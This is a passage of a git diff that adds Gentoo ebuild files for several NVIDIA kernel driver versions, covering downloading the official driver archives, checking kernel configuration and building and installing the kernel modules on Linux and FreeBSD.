+ elog "X, you must modprobe -r nvidia before starting it back up"
+ elog
+
+}
+
+pkg_postrm() {
+ use kernel_linux && linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-304.121.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-304.121.ebuild
new file mode 100644
index 00000000..3a119d3f
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-304.121.ebuild
@@ -0,0 +1,187 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
+ portability toolchain-funcs unpacker user versionator
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://us.download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+ amd64? ( http://us.download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+ amd64-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+ x86-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi custom-cflags multilib x-multilib kernel_FreeBSD kernel_linux pax_kernel tools X"
+RESTRICT="strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+ x-multilib? ( ~x11-drivers/nvidia-userspace-${PV}[x-multilib] )
+ multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+ ~x11-drivers/nvidia-userspace-${PV}[tools=]
+ ~x11-drivers/nvidia-userspace-${PV}[X=]"
+PDEPEND=""
+
+S="${WORKDIR}/"
+
+mtrr_check() {
+ ebegin "Checking for MTRR support"
+ linux_chkconfig_present MTRR
+ eend $?
+
+ if [[ $? -ne 0 ]] ; then
+ eerror "Please enable MTRR support in your kernel config, found at:"
+ eerror
+ eerror " Processor type and features"
+ eerror " [*] MTRR (Memory Type Range Register) support"
+ eerror
+ eerror "and recompile your kernel ..."
+ die "MTRR support not detected!"
+ fi
+}
+
+lockdep_check() {
+ # Kernel features/options to check for
+ CONFIG_CHECK="~ZONE_DMA ~MTRR ~SYSVIPC ~!LOCKDEP"
+ use x86 && CONFIG_CHECK+=" ~HIGHMEM"
+
+ # Now do the above checks
+ use kernel_linux && check_extra_config
+}
+
+pkg_setup() {
+ # try to turn off distcc and ccache for people that have a problem with it
+ export DISTCC_DISABLE=1
+ export CCACHE_DISABLE=1
+
+ if use kernel_linux; then
+ linux-mod_pkg_setup
+ MODULE_NAMES="nvidia(video:${S}/kernel)"
+ BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+ SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+ # linux-mod_src_compile calls set_arch_to_kernel, which
+ # sets the ARCH to x86 but NVIDIA's wrapping Makefile
+ # expects x86_64 or i386 and then converts it to x86
+ # later on in the build process
+ BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+ fi
+
+ # Since Nvidia ships 3 different series of drivers, we need to give the user
+ # some kind of guidance as to what version they should install. This tries
+ # to point the user in the right direction but can't be perfect. check
+ # nvidia-driver.eclass
+ nvidia-driver-check-warning
+
+ # set variables to where files are in the package structure
+ if use kernel_FreeBSD; then
+ use x86-fbsd && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+ use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+ NV_SRC="${S}/src"
+ NV_SOVER=1
+ elif use kernel_linux; then
+ NV_SRC="${S}/kernel"
+ NV_SOVER=${PV}
+ else
+ die "Could not determine proper NVIDIA package"
+ fi
+}
+
+src_unpack() {
+ if ! use kernel_FreeBSD; then
+ cd "${S}"
+ unpack_makeself
+ else
+ unpack ${A}
+ fi
+}
+
+src_prepare() {
+ # Please add a brief description for every added patch
+
+ if use kernel_linux; then
+ if kernel_is lt 2 6 9 ; then
+ eerror "You must build this against 2.6.9 or higher kernels."
+ fi
+
+ # If greater than 2.6.5 use M= instead of SUBDIR=
+ convert_to_m "${NV_SRC}"/Makefile.kbuild
+ fi
+ if use pax_kernel; then
+ ewarn "Using PAX patches is not supported. You will be asked to"
+ ewarn "use a standard kernel should you have issues. Should you"
+ ewarn "need support with these patches, contact the PaX team."
+ epatch "${FILESDIR}"/nvidia-drivers-pax-const.patch
+ epatch "${FILESDIR}"/nvidia-drivers-pax-usercopy.patch
+ fi
+ cat <<- EOF > "${S}"/nvidia.icd
+ /usr/$(get_libdir)/libnvidia-opencl.so
+ EOF
+
+ # Allow user patches so they can support RC kernels and whatever else
+ epatch_user
+}
+
+src_compile() {
+ # This is already the default on Linux, as there's no toplevel Makefile, but
+ # on FreeBSD there's one and triggers the kernel module build, as we install
+ # it by itself, pass this.
+
+ cd "${NV_SRC}"
+ if use kernel_FreeBSD; then
+ MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+ LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+ elif use kernel_linux; then
+ linux-mod_src_compile
+ fi
+}
+
+src_install() {
+ if use kernel_linux; then
+ linux-mod_src_install
+ elif use kernel_FreeBSD; then
+ if use x86-fbsd; then
+ insinto /boot/modules
+ doins "${S}/src/nvidia.kld" || die
+ fi
+
+ exeinto /boot/modules
+ doexe "${S}/src/nvidia.ko" || die
+ fi
+
+ is_final_abi || die "failed to iterate through all ABIs"
+}
+
+pkg_preinst() {
+ use kernel_linux && linux-mod_pkg_preinst
+}
+
+pkg_postinst() {
+ use kernel_linux && linux-mod_pkg_postinst
+
+ echo
+ elog "You must be in the video group to use the NVIDIA device"
+ elog "For more info, read the docs at"
+ elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+ elog
+
+ elog "This package installs a kernel module and X driver. Both must"
+ elog "match explicitly in their version. This means, if you restart"
+ elog "X, you must modprobe -r nvidia before starting it back up"
+ elog
+
+}
+
+pkg_postrm() {
+ use kernel_linux && linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-304.123.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-304.123.ebuild
new file mode 100644
index 00000000..3a119d3f
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-304.123.ebuild
@@ -0,0 +1,187 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
+ portability toolchain-funcs unpacker user versionator
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://us.download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+ amd64? ( http://us.download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+ amd64-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+ x86-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi custom-cflags multilib x-multilib kernel_FreeBSD kernel_linux pax_kernel tools X"
+RESTRICT="strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+ x-multilib? ( ~x11-drivers/nvidia-userspace-${PV}[x-multilib] )
+ multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+ ~x11-drivers/nvidia-userspace-${PV}[tools=]
+ ~x11-drivers/nvidia-userspace-${PV}[X=]"
+PDEPEND=""
+
+S="${WORKDIR}/"
+
+mtrr_check() {
+ ebegin "Checking for MTRR support"
+ linux_chkconfig_present MTRR
+ eend $?
+
+ if [[ $? -ne 0 ]] ; then
+ eerror "Please enable MTRR support in your kernel config, found at:"
+ eerror
+ eerror " Processor type and features"
+ eerror " [*] MTRR (Memory Type Range Register) support"
+ eerror
+ eerror "and recompile your kernel ..."
+ die "MTRR support not detected!"
+ fi
+}
+
+lockdep_check() {
+ # Kernel features/options to check for
+ CONFIG_CHECK="~ZONE_DMA ~MTRR ~SYSVIPC ~!LOCKDEP"
+ use x86 && CONFIG_CHECK+=" ~HIGHMEM"
+
+ # Now do the above checks
+ use kernel_linux && check_extra_config
+}
+
+pkg_setup() {
+ # try to turn off distcc and ccache for people that have a problem with it
+ export DISTCC_DISABLE=1
+ export CCACHE_DISABLE=1
+
+ if use kernel_linux; then
+ linux-mod_pkg_setup
+ MODULE_NAMES="nvidia(video:${S}/kernel)"
+ BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+ SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+ # linux-mod_src_compile calls set_arch_to_kernel, which
+ # sets the ARCH to x86 but NVIDIA's wrapping Makefile
+ # expects x86_64 or i386 and then converts it to x86
+ # later on in the build process
+ BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+ fi
+
+ # Since Nvidia ships 3 different series of drivers, we need to give the user
+ # some kind of guidance as to what version they should install. This tries
+ # to point the user in the right direction but can't be perfect. check
+ # nvidia-driver.eclass
+ nvidia-driver-check-warning
+
+ # set variables to where files are in the package structure
+ if use kernel_FreeBSD; then
+ use x86-fbsd && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+ use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+ NV_SRC="${S}/src"
+ NV_SOVER=1
+ elif use kernel_linux; then
+ NV_SRC="${S}/kernel"
+ NV_SOVER=${PV}
+ else
+ die "Could not determine proper NVIDIA package"
+ fi
+}
+
+src_unpack() {
+ if ! use kernel_FreeBSD; then
+ cd "${S}"
+ unpack_makeself
+ else
+ unpack ${A}
+ fi
+}
+
+src_prepare() {
+ # Please add a brief description for every added patch
+
+ if use kernel_linux; then
+ if kernel_is lt 2 6 9 ; then
+ eerror "You must build this against 2.6.9 or higher kernels."
+ fi
+
+ # If greater than 2.6.5 use M= instead of SUBDIR=
+ convert_to_m "${NV_SRC}"/Makefile.kbuild
+ fi
+ if use pax_kernel; then
+ ewarn "Using PAX patches is not supported. You will be asked to"
+ ewarn "use a standard kernel should you have issues. Should you"
+ ewarn "need support with these patches, contact the PaX team."
+ epatch "${FILESDIR}"/nvidia-drivers-pax-const.patch
+ epatch "${FILESDIR}"/nvidia-drivers-pax-usercopy.patch
+ fi
+ cat <<- EOF > "${S}"/nvidia.icd
+ /usr/$(get_libdir)/libnvidia-opencl.so
+ EOF
+
+ # Allow user patches so they can support RC kernels and whatever else
+ epatch_user
+}
+
+src_compile() {
+ # This is already the default on Linux, as there's no toplevel Makefile, but
+ # on FreeBSD there's one and triggers the kernel module build, as we install
+ # it by itself, pass this.
+
+ cd "${NV_SRC}"
+ if use kernel_FreeBSD; then
+ MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+ LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+ elif use kernel_linux; then
+ linux-mod_src_compile
+ fi
+}
+
+src_install() {
+ if use kernel_linux; then
+ linux-mod_src_install
+ elif use kernel_FreeBSD; then
+ if use x86-fbsd; then
+ insinto /boot/modules
+ doins "${S}/src/nvidia.kld" || die
+ fi
+
+ exeinto /boot/modules
+ doexe "${S}/src/nvidia.ko" || die
+ fi
+
+ is_final_abi || die "failed to iterate through all ABIs"
+}
+
+pkg_preinst() {
+ use kernel_linux && linux-mod_pkg_preinst
+}
+
+pkg_postinst() {
+ use kernel_linux && linux-mod_pkg_postinst
+
+ echo
+ elog "You must be in the video group to use the NVIDIA device"
+ elog "For more info, read the docs at"
+ elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+ elog
+
+ elog "This package installs a kernel module and X driver. Both must"
+ elog "match explicitly in their version. This means, if you restart"
+ elog "X, you must modprobe -r nvidia before starting it back up"
+ elog
+
+}
+
+pkg_postrm() {
+ use kernel_linux && linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-331.49.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-331.49.ebuild
new file mode 100644
index 00000000..e250156c
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-331.49.ebuild
@@ -0,0 +1,170 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
+ portability toolchain-funcs unpacker user
+
+NV_URI="http://us.download.nvidia.com/XFree86/"
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="
+ amd64-fbsd? ( ${NV_URI}FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+ amd64? ( ${NV_URI}Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+ x86-fbsd? ( ${NV_URI}FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )
+ x86? ( ${NV_URI}Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+"
+
+LICENSE="NVIDIA-r1"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi custom-cflags multilib x-multilib kernel_FreeBSD kernel_linux pax_kernel tools X"
+RESTRICT="bindist mirror strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+ x-multilib? ( ~x11-drivers/nvidia-userspace-${PV}[x-multilib] )
+ multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+ ~x11-drivers/nvidia-userspace-${PV}[tools=]
+ ~x11-drivers/nvidia-userspace-${PV}[X=]"
+PDEPEND=""
+
+S=${WORKDIR}/
+
+pkg_pretend() {
+ # Since Nvidia ships 3 different series of drivers, we need to give the user
+ # some kind of guidance as to what version they should install. This tries
+ # to point the user in the right direction but can't be perfect. check
+ # nvidia-driver.eclass
+ nvidia-driver-check-warning
+
+ # Kernel features/options to check for
+ CONFIG_CHECK="~ZONE_DMA ~MTRR ~SYSVIPC ~!LOCKDEP"
+ use x86 && CONFIG_CHECK+=" ~HIGHMEM"
+
+ # Now do the above checks
+ use kernel_linux && check_extra_config
+}
+
+pkg_setup() {
+ # try to turn off distcc and ccache for people that have a problem with it
+ export DISTCC_DISABLE=1
+ export CCACHE_DISABLE=1
+
+ if use kernel_linux; then
+ linux-mod_pkg_setup
+ MODULE_NAMES="nvidia(video:${S}/kernel)"
+ BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+ SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+ # linux-mod_src_compile calls set_arch_to_kernel, which
+ # sets the ARCH to x86 but NVIDIA's wrapping Makefile
+ # expects x86_64 or i386 and then converts it to x86
+ # later on in the build process
+ BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+ fi
+
+ # set variables to where files are in the package structure
+ if use kernel_FreeBSD; then
+ use x86-fbsd && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+ use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+ NV_SRC="${S}/src"
+ NV_SOVER=1
+ elif use kernel_linux; then
+ NV_SRC="${S}/kernel"
+ NV_SOVER=${PV}
+ else
+ die "Could not determine proper NVIDIA package"
+ fi
+}
+
+src_unpack() {
+ if ! use kernel_FreeBSD; then
+ cd "${S}"
+ unpack_makeself
+ else
+ unpack ${A}
+ fi
+}
+
+src_prepare() {
+ # Please add a brief description for every added patch
+
+ if use kernel_linux; then
+ if kernel_is lt 2 6 9 ; then
+ eerror "You must build this against 2.6.9 or higher kernels."
+ fi
+
+ # If greater than 2.6.5 use M= instead of SUBDIR=
+# convert_to_m "${NV_SRC}"/Makefile.kbuild
+ fi
+ if use pax_kernel; then
+ ewarn "Using PAX patches is not supported. You will be asked to"
+ ewarn "use a standard kernel should you have issues. Should you"
+ ewarn "need support with these patches, contact the PaX team."
+ epatch "${FILESDIR}"/${P}-pax-usercopy.patch
+ fi
+
+ # Allow user patches so they can support RC kernels and whatever else
+ epatch_user
+}
+
+src_compile() {
+ # This is already the default on Linux, as there's no toplevel Makefile, but
+ # on FreeBSD there's one and triggers the kernel module build, as we install
+ # it by itself, pass this.
+
+ cd "${NV_SRC}"
+ if use kernel_FreeBSD; then
+ MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+ LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+ elif use kernel_linux; then
+ linux-mod_src_compile
+ fi
+}
+
+src_install() {
+ if use kernel_linux; then
+ linux-mod_src_install
+ elif use kernel_FreeBSD; then
+ if use x86-fbsd; then
+ insinto /boot/modules
+ doins "${S}/src/nvidia.kld"
+ fi
+
+ exeinto /boot/modules
+ doexe "${S}/src/nvidia.ko"
+ fi
+
+ is_final_abi || die "failed to iterate through all ABIs"
+}
+
+pkg_preinst() {
+ use kernel_linux && linux-mod_pkg_preinst
+}
+
+pkg_postinst() {
+ use kernel_linux && linux-mod_pkg_postinst
+
+ echo
+ elog "You must be in the video group to use the NVIDIA device"
+ elog "For more info, read the docs at"
+ elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+ elog
+
+ elog "This package installs a kernel module and X driver. Both must"
+ elog "match explicitly in their version. This means, if you restart"
+ elog "X, you must modprobe -r nvidia before starting it back up"
+ elog
+
+}
+
+pkg_postrm() {
+ use kernel_linux && linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-331.67.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-331.67.ebuild
new file mode 100644
index 00000000..e250156c
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-331.67.ebuild
@@ -0,0 +1,170 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
+ portability toolchain-funcs unpacker user
+
+NV_URI="http://us.download.nvidia.com/XFree86/"
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="
+ amd64-fbsd? ( ${NV_URI}FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+ amd64? ( ${NV_URI}Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+ x86-fbsd? ( ${NV_URI}FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )
+ x86? ( ${NV_URI}Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+"
+
+LICENSE="NVIDIA-r1"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi custom-cflags multilib x-multilib kernel_FreeBSD kernel_linux pax_kernel tools X"
+RESTRICT="bindist mirror strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+ x-multilib? ( ~x11-drivers/nvidia-userspace-${PV}[x-multilib] )
+ multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+ ~x11-drivers/nvidia-userspace-${PV}[tools=]
+ ~x11-drivers/nvidia-userspace-${PV}[X=]"
+PDEPEND=""
+
+S=${WORKDIR}/
+
+pkg_pretend() {
+ # Since Nvidia ships 3 different series of drivers, we need to give the user
+ # some kind of guidance as to what version they should install. This tries
+ # to point the user in the right direction but can't be perfect. check
+ # nvidia-driver.eclass
+ nvidia-driver-check-warning
+
+ # Kernel features/options to check for
+ CONFIG_CHECK="~ZONE_DMA ~MTRR ~SYSVIPC ~!LOCKDEP"
+ use x86 && CONFIG_CHECK+=" ~HIGHMEM"
+
+ # Now do the above checks
+ use kernel_linux && check_extra_config
+}
+
+pkg_setup() {
+ # try to turn off distcc and ccache for people that have a problem with it
+ export DISTCC_DISABLE=1
+ export CCACHE_DISABLE=1
+
+ if use kernel_linux; then
+ linux-mod_pkg_setup
+ MODULE_NAMES="nvidia(video:${S}/kernel)"
+ BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+ SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+ # linux-mod_src_compile calls set_arch_to_kernel, which
+ # sets the ARCH to x86 but NVIDIA's wrapping Makefile
+ # expects x86_64 or i386 and then converts it to x86
+ # later on in the build process
+ BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+ fi
+
+ # set variables to where files are in the package structure
+ if use kernel_FreeBSD; then
+ use x86-fbsd && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+ use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+ NV_SRC="${S}/src"
+ NV_SOVER=1
+ elif use kernel_linux; then
+ NV_SRC="${S}/kernel"
+ NV_SOVER=${PV}
+ else
+ die "Could not determine proper NVIDIA package"
+ fi
+}
+
+src_unpack() {
+ if ! use kernel_FreeBSD; then
+ cd "${S}"
+ unpack_makeself
+ else
+ unpack ${A}
+ fi
+}
+
+src_prepare() {
+ # Please add a brief description for every added patch
+
+ if use kernel_linux; then
+ if kernel_is lt 2 6 9 ; then
+ eerror "You must build this against 2.6.9 or higher kernels."
+ fi
+
+ # If greater than 2.6.5 use M= instead of SUBDIR=
+# convert_to_m "${NV_SRC}"/Makefile.kbuild
+ fi
+ if use pax_kernel; then
+ ewarn "Using PAX patches is not supported. You will be asked to"
+ ewarn "use a standard kernel should you have issues. Should you"
+ ewarn "need support with these patches, contact the PaX team."
+ epatch "${FILESDIR}"/${P}-pax-usercopy.patch
+ fi
+
+ # Allow user patches so they can support RC kernels and whatever else
+ epatch_user
+}
+
+src_compile() {
+ # This is already the default on Linux, as there's no toplevel Makefile, but
+ # on FreeBSD there's one and triggers the kernel module build, as we install
+ # it by itself, pass this.
+
+ cd "${NV_SRC}"
+ if use kernel_FreeBSD; then
+ MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+ LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+ elif use kernel_linux; then
+ linux-mod_src_compile
+ fi
+}
+
+src_install() {
+ if use kernel_linux; then
+ linux-mod_src_install
+ elif use kernel_FreeBSD; then
+ if use x86-fbsd; then
+ insinto /boot/modules
+ doins "${S}/src/nvidia.kld"
+ fi
+
+ exeinto /boot/modules
+ doexe "${S}/src/nvidia.ko"
+ fi
+
+ is_final_abi || die "failed to iterate through all ABIs"
+}
+
+pkg_preinst() {
+ use kernel_linux && linux-mod_pkg_preinst
+}
+
+pkg_postinst() {
+ use kernel_linux && linux-mod_pkg_postinst
+
+ echo
+ elog "You must be in the video group to use the NVIDIA device"
+ elog "For more info, read the docs at"
+ elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+ elog
+
+ elog "This package installs a kernel module and X driver. Both must"
+ elog "match explicitly in their version. This means, if you restart"
+ elog "X, you must modprobe -r nvidia before starting it back up"
+ elog
+
+}
+
+pkg_postrm() {
+ use kernel_linux && linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-337.19.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-337.19.ebuild
new file mode 100644
index 00000000..bcfd2149
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-337.19.ebuild
@@ -0,0 +1,168 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
+ portability toolchain-funcs unpacker user
+
+NV_URI="http://us.download.nvidia.com/XFree86/"
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="
+ amd64-fbsd? ( ${NV_URI}FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+ amd64? ( ${NV_URI}Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+ x86-fbsd? ( ${NV_URI}FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )
+ x86? ( ${NV_URI}Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+"
+
+LICENSE="NVIDIA-r1"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi custom-cflags multilib x-multilib kernel_FreeBSD kernel_linux pax_kernel tools X uvm"
+RESTRICT="bindist mirror strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+ x-multilib? ( ~x11-drivers/nvidia-userspace-${PV}[x-multilib] )
+ multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+ ~x11-drivers/nvidia-userspace-${PV}[tools=]
+ ~x11-drivers/nvidia-userspace-${PV}[X=]"
+PDEPEND=""
+
+S=${WORKDIR}/
+
+pkg_pretend() {
+ # Since Nvidia ships 3 different series of drivers, we need to give the user
+ # some kind of guidance as to what version they should install. This tries
+ # to point the user in the right direction but can't be perfect. check
+ # nvidia-driver.eclass
+ nvidia-driver-check-warning
+
+ # Kernel features/options to check for
+ CONFIG_CHECK="~ZONE_DMA ~MTRR ~SYSVIPC ~!LOCKDEP"
+ use x86 && CONFIG_CHECK+=" ~HIGHMEM"
+
+ # Now do the above checks
+ use kernel_linux && check_extra_config
+}
+
+pkg_setup() {
+ # try to turn off distcc and ccache for people that have a problem with it
+ export DISTCC_DISABLE=1
+ export CCACHE_DISABLE=1
+
+ if use kernel_linux; then
+ MODULE_NAMES="nvidia(video:${S}/kernel)"
+ use uvm && MODULE_NAMES+=" nvidia-uvm(video:${S}/kernel/uvm)"
+
+ # This needs to run after MODULE_NAMES (so that the eclass checks
+ # whether the kernel supports loadable modules) but before BUILD_PARAMS
+ # is set (so that KV_DIR is populated).
+ linux-mod_pkg_setup
+
+ BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+ SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+ # linux-mod_src_compile calls set_arch_to_kernel, which
+ # sets the ARCH to x86 but NVIDIA's wrapping Makefile
+ # expects x86_64 or i386 and then converts it to x86
+ # later on in the build process
+ BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+ fi
+
+ # set variables to where files are in the package structure
+ if use kernel_FreeBSD; then
+ use x86-fbsd && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+ use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+ NV_SRC="${S}/src"
+ NV_SOVER=1
+ elif use kernel_linux; then
+ NV_SRC="${S}/kernel"
+ NV_SOVER=${PV}
+ else
+ die "Could not determine proper NVIDIA package"
+ fi
+}
+
+src_prepare() {
+ # Please add a brief description for every added patch
+
